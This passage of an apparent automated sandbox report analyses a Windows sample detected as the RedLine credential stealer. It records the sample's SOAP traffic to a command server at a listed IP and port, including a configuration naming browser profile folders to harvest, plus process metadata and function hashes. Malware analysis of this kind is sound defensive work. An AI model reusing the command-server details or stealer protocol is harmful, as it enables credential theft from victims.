72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 42 6c 6f 63 6b 65 64 49 50 20 78 6d 6c [TRUNCATED] Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><EnvironmentSettingsResponse xmlns="http://tempuri.org/"><EnvironmentSettingsResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:BlockedCountry xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:BlockedIP xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:Object4>true</a:Object4><a:Object6>false</a:Object6><a:ScanBrowsers>true</a:ScanBrowsers><a:ScanChromeBrowsersPaths xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>%USERPROFILE%\AppData\Local\Battle.net</b:string><b:string>%USERPROFILE%\AppData\Local\Chromium\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google(x86)\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Roaming\Opera Software\</b:string><b:string>%USERPROFILE%\AppData\Local\MapleStudio\ChromePlus\User Data</b:string [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	91.92.251.170	1334	6724	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Sep 24, 2024 22:31:13.415163040 CEST	220	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: 91.92.251.170:1334 Content-Length: 923321 Expect: 100-continue Accept-Encoding: gzip, deflate
Sep 24, 2024 22:31:14.972140074 CEST	294	IN	HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 25 Sep 2024 03:15:01 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49733	91.92.251.170	1334	6724	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Sep 24, 2024 22:31:14.985560894 CEST	240	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: 91.92.251.170:1334 Content-Length: 923313 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Sep 24, 2024 22:31:15.594356060 CEST	25	IN	HTTP/1.1 100 Continue
Sep 24, 2024 22:31:16.655853987 CEST	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 25 Sep 2024 03:15:01 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>

Target ID:	0
Start time:	16:31:02
Start date:	24/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x300000
File size:	97'792 bytes
MD5 hash:	14BD964C6E45AC40D474F56D03CB98CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000000.1685252630.0000000000302000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000000.1685252630.0000000000302000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000000.00000000.1685252630.0000000000302000.00000002.00000001.01000000.00000003.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	16:31:02
Start date:	24/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	13.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	33
Total number of Limit Nodes:	0

Executed Functions

Function 05F39630 Relevance: 16.2, Strings: 12, Instructions: 1190COMMON

Download Yara Rule

Strings

$^q, xrefs: 05F39CD5
c^q, xrefs: 05F39FFE
c^q, xrefs: 05F39FE4
4c^q, xrefs: 05F39FAA
(_^q, xrefs: 05F3A0CC
,bq, xrefs: 05F3A24F
(_^q, xrefs: 05F3A0E6
Nv]q, xrefs: 05F39938
Hbq, xrefs: 05F3A3EA
$^q, xrefs: 05F3A653
$^q, xrefs: 05F39CBB
4c^q, xrefs: 05F39FC4

Memory Dump Source

Source File: 00000000.00000002.1826860108.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_file.jbxd

Similarity

API ID:
String ID: (_^q$(_^q$,bq$4c^q$4c^q$Hbq$Nv]q$$^q$$^q$$^q$c^q$c^q
API String ID: 0-692146702
Opcode ID: 3bbba10efe0d9c4e11e5d69e82f0102a232b515f9dc9f4c9fd511f6e2d9c2f66
Instruction ID: 54ae79b5e58279549635db6f29d6adb14de07c85d4d71e9685d7dcb5f930cd16
Opcode Fuzzy Hash: 3bbba10efe0d9c4e11e5d69e82f0102a232b515f9dc9f4c9fd511f6e2d9c2f66
Instruction Fuzzy Hash: 2982C370F801188FCB69EF7E855563D6AD3BFCD740B2048A9D046DB394EE65CC868B92

Function 05F3DA30 Relevance: 13.2, Strings: 10, Instructions: 692
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 05F3DD70
4c^q, xrefs: 05F3DB75
$^q, xrefs: 05F3DEFF
$^q, xrefs: 05F3DDCD
$^q, xrefs: 05F3DB55
4'^q, xrefs: 05F3DF0E
$^q, xrefs: 05F3DDBD
4c^q, xrefs: 05F3DB91
4|cq, xrefs: 05F3E305
4c^q, xrefs: 05F3DB87

Memory Dump Source

Source File: 00000000.00000002.1826860108.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_file.jbxd

Similarity

API ID:
String ID: 4'^q$4c^q$4c^q$4c^q$4|cq$$^q$$^q$$^q$$^q$$^q
API String ID: 0-1675970643
Opcode ID: 581ad3970d9c28eb7a84293097e59beafb8bb33bc6a6bf9286800c47e831996c
Instruction ID: 8aa27cbb592969642d89aa30fc4d402098a2aaba80b895c90ca37c2f7df98e32
Opcode Fuzzy Hash: 581ad3970d9c28eb7a84293097e59beafb8bb33bc6a6bf9286800c47e831996c
Instruction Fuzzy Hash: 5A426D30B002198FDB14DF79C855AAEBBF6BF89340F148469E40ADB365DF349D468B91

Function 05F33720 Relevance: 6.7, Strings: 5, Instructions: 468
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hbq, xrefs: 05F33AD0
Hbq, xrefs: 05F33BC0
Hbq, xrefs: 05F33B79
Hbq, xrefs: 05F33B32
Hbq, xrefs: 05F33B01

Memory Dump Source

Source File: 00000000.00000002.1826860108.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_file.jbxd

Similarity

API ID:
String ID: Hbq$Hbq$Hbq$Hbq$Hbq
API String ID: 0-1677660839
Opcode ID: b762f7ceb6bcd1544f9fd3e6eacaaa3e80edbc4f007e0bbbcd55d95a2e58284a
Instruction ID: a682fe42a6f6256aba986ed4f32d8827bbd7ee068664a7cfd4307a3971011654
Opcode Fuzzy Hash: b762f7ceb6bcd1544f9fd3e6eacaaa3e80edbc4f007e0bbbcd55d95a2e58284a
Instruction Fuzzy Hash: C802B131E14256CBDB15CF75C4512BDFBF2FF85300F248A6AD446AB281EB789A85CB90

Function 05F3D528 Relevance: 1.7, Strings: 1, Instructions: 438COMMON

Download Yara Rule

Strings

Hbq, xrefs: 05F3D91B

Memory Dump Source

Source File: 00000000.00000002.1826860108.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_file.jbxd

Similarity

API ID:
String ID: Hbq
API String ID: 0-1245868
Opcode ID: e148ccb04a82c05e2423d4b03973fe8ef774fd4d76f29a23c130bded373eef97
Instruction ID: 2d9b4b367456c118daeba57f89ac3f920f722f3f5e66d67418e5bed509f292bf
Opcode Fuzzy Hash: e148ccb04a82c05e2423d4b03973fe8ef774fd4d76f29a23c130bded373eef97
Instruction Fuzzy Hash: 07F10371E042668BDB15CF75C4411BDFBF6BF86340B14C566E88AEB240EB78DA85CB90

Function 0094E7B0 Relevance: .9, Instructions: 929COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1821080611.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba19fc9de30949040ef2f40320b0f8caf3093d7df29e0663e8abb09c7a0f31a5
Instruction ID: 92768c8759b09ddd5ae7febe3817600c2e29f0c533368104742c93406dc7c8fb
Opcode Fuzzy Hash: ba19fc9de30949040ef2f40320b0f8caf3093d7df29e0663e8abb09c7a0f31a5
Instruction Fuzzy Hash: A582F874B002589FDB14DF68D898B6DBBB2FF89300F1084A9E50A9B3A5DB349D85CF51

Function 05F34468 Relevance: .8, Instructions: 814COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1826860108.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e813b1bd85d9b16a25f08648f647903e46546b29bb95d33b663d235a19bdc9c8
Instruction ID: 8ab2082f4cf0de01f9f3f03f6b5d583f284c97fc7081a604e0eb3b63a20ba475
Opcode Fuzzy Hash: e813b1bd85d9b16a25f08648f647903e46546b29bb95d33b663d235a19bdc9c8
Instruction Fuzzy Hash: 5C82B638A54216CFEB64DF28D848B697BB2BF85304F1482E9C90A9B356E739DC45CF41

Function 05F31210 Relevance: .4, Instructions: 436COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1826860108.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 555bc002b50122c33fc5d8ce84766274331612adfb81c5a3b39c5243bcad3454
Instruction ID: 2b0c3b39fb5ff6f26cc5932609c66c6585ca101687fea015a2e4f30ce68e7f28
Opcode Fuzzy Hash: 555bc002b50122c33fc5d8ce84766274331612adfb81c5a3b39c5243bcad3454
Instruction Fuzzy Hash: 67F15E78A00209AFDB04DBB9DD95ABEBBB6FF88304F418418E405AB355CE35AD45CF15

Function 05F375E8 Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(00000000,?,?,?,?,00000000,00000E20,?,?,05F374A6), ref: 05F37656

Memory Dump Source

Source File: 00000000.00000002.1826860108.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_file.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f4e6462310db04f6f548b1139e150f16e00e2bc5bf4c624deac381049f76fe1f
Instruction ID: 9e10a099248bc0c3c713a42d060801c1586442331513375ba62047a6414e449f
Opcode Fuzzy Hash: f4e6462310db04f6f548b1139e150f16e00e2bc5bf4c624deac381049f76fe1f
Instruction Fuzzy Hash: D811F3B5D012498FDB10DF9AC944ADEFBF5EB88324F14842AD429B7710C378A646CFA4

Function 05F36F98 Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(00000000,?,?,?,?,00000000,00000E20,?,?,05F374A6), ref: 05F37656

Memory Dump Source

Source File: 00000000.00000002.1826860108.0000000005F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f30000_file.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 41d8884f5e06f982c036b5d77b21e34e1f2bac780a174ebde1d86daaf0e1afb2
Instruction ID: cfaa694dd58fc3337336c597fe2d09264f94dd77cfe9de3742670ada53abf758
Opcode Fuzzy Hash: 41d8884f5e06f982c036b5d77b21e34e1f2bac780a174ebde1d86daaf0e1afb2
Instruction Fuzzy Hash: 9E1112B6D012498FDB10DF9AC444A9EFBF4EB88320F14842AD419A7210D379A645CFA4

Function 00940CE5 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNEL32 ref: 00940D47

Memory Dump Source

Source File: 00000000.00000002.1821080611.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: 9d78bc22288cab7b44f5eb1ccdf7b3483c16b3126ef58607f7b4ebc0736a60d8
Instruction ID: ecbfda72d5a098b072afb9b38aae83d5f4b8ee9e76365eb4b556852584c64aed
Opcode Fuzzy Hash: 9d78bc22288cab7b44f5eb1ccdf7b3483c16b3126ef58607f7b4ebc0736a60d8
Instruction Fuzzy Hash: E31113B1D003498FCB20DFAAC445B9EBBF4AB88324F20842AC559A7250C775A544CBA4

Function 00940CE8 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNEL32 ref: 00940D47

Memory Dump Source

Source File: 00000000.00000002.1821080611.0000000000940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: 33b7b31a41053550677f4d1148c9c4ef10be3e55b5393e19a25451855a04c982
Instruction ID: ef03f3b118331d9e7caf12136ab220a8ffbba360878b22c514c021613e88e710
Opcode Fuzzy Hash: 33b7b31a41053550677f4d1148c9c4ef10be3e55b5393e19a25451855a04c982
Instruction Fuzzy Hash: 5E1106B1D003498FCB24DFAAC445BDEFFF4AB88324F208419C559A7254C775A544CFA5

Function 05F81550 Relevance: 1.4, Instructions: 1414COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1826933801.0000000005F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 971bcab8256982b2871187167d5b851a8f574b7933074213bef9c79580b6f294
Instruction ID: 39a6e9f44022e33790dd9ca5b3444ccc5dd3983c0d1882e0765d4d47ae028bc6
Opcode Fuzzy Hash: 971bcab8256982b2871187167d5b851a8f574b7933074213bef9c79580b6f294
Instruction Fuzzy Hash: A2C23A34B406189FCB14DB68CC91EADBBB6FF88704F508095E609AB3A4DB71AD85CF51

Function 05F8344F Relevance: 1.3, Instructions: 1304COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1826933801.0000000005F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a42cda4c07d3883ccd4509361e715caa728e7babc7fdac2b1e4aade580237995
Instruction ID: 646e8ebfccd610656b2cac2125e0e51ccf1f6c87df87487f7b4b840e3de156cc
Opcode Fuzzy Hash: a42cda4c07d3883ccd4509361e715caa728e7babc7fdac2b1e4aade580237995
Instruction Fuzzy Hash: 4BB1AD74B042449FCB049B68C854ABEBBF2FF89704B118869E616DB3B1CB35DC45CB61

Function 05F80048 Relevance: .7, Instructions: 665COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1826933801.0000000005F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a37451cfb28dfabef8bc92951d4c09238a429f26769da2795c009bc661da55d
Instruction ID: ef7ef8e26c1b1c72d5e02c9e6eca8397571eb0c1f48ca6e639a160c6722db9de
Opcode Fuzzy Hash: 3a37451cfb28dfabef8bc92951d4c09238a429f26769da2795c009bc661da55d
Instruction Fuzzy Hash: 92427D30740A189FCB24EF68D45496EBBB6FFC2301B50895CD5029B3A5CF79E9498B86

Function 05F804F4 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1826933801.0000000005F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 045f1f6aae602b66f73b361d2be15f3dade3c4c65c579f657d5565edea2cf9c1
Instruction ID: e035e85f5169096ad7d55dafcdd547431d3ffd6c767a7003a63608b74b5f25e5
Opcode Fuzzy Hash: 045f1f6aae602b66f73b361d2be15f3dade3c4c65c579f657d5565edea2cf9c1
Instruction Fuzzy Hash: 9A126B30740A189FCB14EF68C454A6EBBB6FF85304F508958D6029F3A5DF79E9498B82

Function 05F8056A Relevance: .5, Instructions: 463COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1826933801.0000000005F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7df8361b36ca4a20bbf2fb9373f38dadb2d7aa292f1497b78d7e37ccdf386d0e
Instruction ID: d54f79c5592d0fffdda233ca38413ce064fb92cdbbb6bf6834dfd6739c0bf3bf
Opcode Fuzzy Hash: 7df8361b36ca4a20bbf2fb9373f38dadb2d7aa292f1497b78d7e37ccdf386d0e
Instruction Fuzzy Hash: 7C028C307406189FCB14EF68C854A7EBBB6FF85304F508958D6029F3A5DF79E9498B82

Function 05F805E0 Relevance: .4, Instructions: 428COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1826933801.0000000005F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcc4d62a011fc53d691e4c9eecb276be9209baea3979f67f735ab490bdb8bf77
Instruction ID: 6f93572822992db2177f2bcb893bd475959f220e76403fc663215a6ee948007b
Opcode Fuzzy Hash: bcc4d62a011fc53d691e4c9eecb276be9209baea3979f67f735ab490bdb8bf77
Instruction Fuzzy Hash: 1402AC30B406089FCB14EF68C844A7EBBB6FF85704F508559E6029F3A5DF79E9498B81

Function 05F80656 Relevance: .4, Instructions: 390COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1826933801.0000000005F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 110ae3806daa03293e00a5ea421a8ca4efc539d26f1bcb4c67c1807263ea5081
Instruction ID: 90f21901f87c461f2ae1e4426652c0dfd6bd71c79cd3bef59fc394eea1b6cf98
Opcode Fuzzy Hash: 110ae3806daa03293e00a5ea421a8ca4efc539d26f1bcb4c67c1807263ea5081
Instruction Fuzzy Hash: CCF1AE30B406089FCB04EF68C849A7E7BB6FF85704F508559E6029F3A5DF79E9498B81

Function 05F806CC Relevance: .4, Instructions: 356COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1826933801.0000000005F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2fbaa47d61681bd482639edc44f0174bd2382753f6e2300acb3d014fcca6822
Instruction ID: a5b551d12515f0d29ffa004c1161a15fb485b8c3cde195e54f5704c7506fc98d
Opcode Fuzzy Hash: d2fbaa47d61681bd482639edc44f0174bd2382753f6e2300acb3d014fcca6822
Instruction Fuzzy Hash: CDE19C30B406089FDB00EF64C849A7E7BBAFF85704F508459E6029F3A5DF79E9498B81

Function 05F80001 Relevance: .3, Instructions: 342COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1826933801.0000000005F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 653c950be8e3895e317f97e319a7e6c905a69c4abbddcdc965741f07f77a6863
Instruction ID: 18792908497a06f1b9880655d1549b5280af0d6eee5399fcb6d97ce3e16bf207
Opcode Fuzzy Hash: 653c950be8e3895e317f97e319a7e6c905a69c4abbddcdc965741f07f77a6863
Instruction Fuzzy Hash: ECD18D30B002089FDB01DFA4C859A7A7BBAFF89704F548196E601DF3A5DF79D8498B91

Function 05F811A8 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1826933801.0000000005F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d94b89af1349b74f3d2b9790f08a4aa95361be034e4abca8b3cbe8a09990b80a
Instruction ID: bb115f8a23bb24a8f9a499fb22ec9e6d7c50b7de5cf63524de97bb55afd413e7
Opcode Fuzzy Hash: d94b89af1349b74f3d2b9790f08a4aa95361be034e4abca8b3cbe8a09990b80a
Instruction Fuzzy Hash: 43513836F042058FCB14AE79D844D7ABBEAFFC6311B14867AD806DB250EB35D846C7A1

Function 05F8338B Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1826933801.0000000005F80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f80000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bea2c0fdde01ef28c330e7833cb8d9e6e3e1208244d28d40e5fe4c42f8e067f
Instruction ID: a79a8df2478beb7337f6af82f8a3bffcdb0e5cd7699a09c977af944b65d1919e
Opcode Fuzzy Hash: 1bea2c0fdde01ef28c330e7833cb8d9e6e3e1208244d28d40e5fe4c42f8e067f
Instruction Fuzzy Hash: F0214835B401049FCB14DF69C984EA9BBB2FF88714F1184A9E9059B3B5DA31EC45CB10

Function 008ED054 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1820895931.00000000008ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 008ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8ed000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c920be30fd752100bea96e2d321faa9cb74c59bc7c5548322e83f75d33560d3
Instruction ID: 347df718e9f4b943259609d2b099dcb32411bf4cd4955ceaefabece803b95c2f
Opcode Fuzzy Hash: 4c920be30fd752100bea96e2d321faa9cb74c59bc7c5548322e83f75d33560d3
Instruction Fuzzy Hash: B0210672500384DFCF15DF14D9C0B2ABFA5FB89314F24C269E9098B256C33AD81ACBA1

Function 008FD2C4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1820925450.00000000008FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 008FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8fd000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb9859f993e37edc29508fedaf6d8f92bd71d1b54f93cd8f8b1bccd6d974c407
Instruction ID: 5cf079689435d9dd7a448d30105ee0e7c32948f1b90a7adc93ffef3d4c1e8628
Opcode Fuzzy Hash: fb9859f993e37edc29508fedaf6d8f92bd71d1b54f93cd8f8b1bccd6d974c407
Instruction Fuzzy Hash: D2212671504308DFDB00DF24D580B3ABB66FB84314F24C569DB498B346D33AD846CAA2

Function 008FD474 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1820925450.00000000008FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 008FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8fd000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c3f57f2b3cd06228977d84ab442878ddf57315d23faafa4372ed10981676307
Instruction ID: e10e6f46bfef6ad59a141e0f75a3743965a9346fc33ec22e018c4eda24ed3e78
Opcode Fuzzy Hash: 2c3f57f2b3cd06228977d84ab442878ddf57315d23faafa4372ed10981676307
Instruction Fuzzy Hash: B821F571504308DFCB04DF24C5C4B26BB66FB98318F20C569DA098B256C33AD846CA62

Function 008ED04F Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1820895931.00000000008ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 008ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8ed000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7c8d58dc0dea2b6e01ffeb94055e7b182a7219ccea2c20f3472bf21e95a7b9d
Instruction ID: fae73e3995280a3c4640fa5d1a07e744e9aeb4b62597367109b913d9e14d8b52
Opcode Fuzzy Hash: c7c8d58dc0dea2b6e01ffeb94055e7b182a7219ccea2c20f3472bf21e95a7b9d
Instruction Fuzzy Hash: C9219D76504280DFCB16CF10D9C4B16BF72FB99314F24C6A9D9494A256C33AD82ACB91

Function 008FD46F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1820925450.00000000008FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 008FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8fd000_file.jbxd

Similarity

API ID:
String ID:
